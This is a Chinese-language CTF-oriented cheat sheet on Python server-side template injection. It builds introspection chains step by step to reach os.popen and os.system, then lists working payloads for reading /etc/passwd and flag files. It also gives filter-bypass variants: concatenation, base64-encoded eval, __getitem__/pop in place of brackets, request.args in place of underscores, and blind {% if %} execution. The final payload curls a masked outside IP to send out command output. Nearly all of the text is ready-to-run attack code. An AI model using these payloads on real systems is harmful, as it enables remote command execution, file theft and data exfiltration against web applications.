摸了。
注入指令构造
Python中的每一个对象都有一个__class__属性可以获取到它自己所对应的类,比如一个空字符串''
。
然后在类对象中有一个__mro__
属性,它返回一个tuple元组,这个对象包含了当前类对象所有继承的基类。
还有一个有些相似的__base__
属性,返回当前类对象所继承的基类。
__subclasses__()
这个方法返回了类的所有存活的子类,如下列代码所示,object是所有类的父类,因此由object返回的会是最全的子类。
1 2
| ''.__class__.__base__.__subclasses__()
|
这边需要配合例题了,攻防世界—Web_python_template_injection。
在Python中的命令执行一般是通过os模块中的system函数来达成,因此需要获取所有子类后遍历来找到os相关的模块,比如site._Printer和site.Quitter。
1 2
| for i in enumerate(''.__class__.__bases__[0].__subclasses__()): print(i)
|
得知在第71个,因此可以这样获取到它。
1
| ''.__class__.__mro__[2].__subclasses__()[71]
|
然后对其进行初始化,把类转为实例。
1
| ''.__class__.__mro__[2].__subclasses__()[71].__init__
|
进而用__globals__
获取到os模块。
1
| ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
|
打开通道传入命令。
1
| ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls')
|
最后读取命令返回的结果。
1
| ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
|
也可以不用通道,直接调用system命令。
1
| ''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')
|
一共有这些类是可以进行命令执行的。
1 2 3 4 5 6 7 8 9 10 11 12
| (59, <class 'warnings.WarningMessage'>, '__builtins__') (59, <class 'warnings.WarningMessage'>, 'linechache') (60, <class 'warnings.catch_warnings'>, '__builtins__') (60, <class 'warnings.catch_warnings'>, 'linechache') (61, <class '_weakrefset._IterationGuard'>, '__builtins__') (62, <class '_weakrefset.WeakSet'>, '__builtins__') (72, <class 'site._Printer'>, '__builtins__') (72, <class 'site._Printer'>, 'os') (77, <class 'site.Quitter'>, '__builtins__') (77, <class 'site.Quitter'>, 'os') (78, <class 'codecs.IncrementalEncoder'>, '__builtins__') (79, <class 'codecs.IncrementalDecoder'>, '__builtins__')
|
还可以通过file模块,来进行任意文件读取。
1
| ''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
|
常用的模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig。
常见的判断手法:
一些绕过
拼接
1 2 3
| object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
|
编码
1 2 3
|
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))
|
过滤中括号[]
__getitem__
1 2
| "".__class__.__mro__.__getitem__(2)
|
pop()
1
| "".__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
|
字典读取
1 2
| __builtins__['eval']() __builtins__.eval()
|
过滤双下划线__
1 2
| {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
|
过滤花括号
1
| {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
|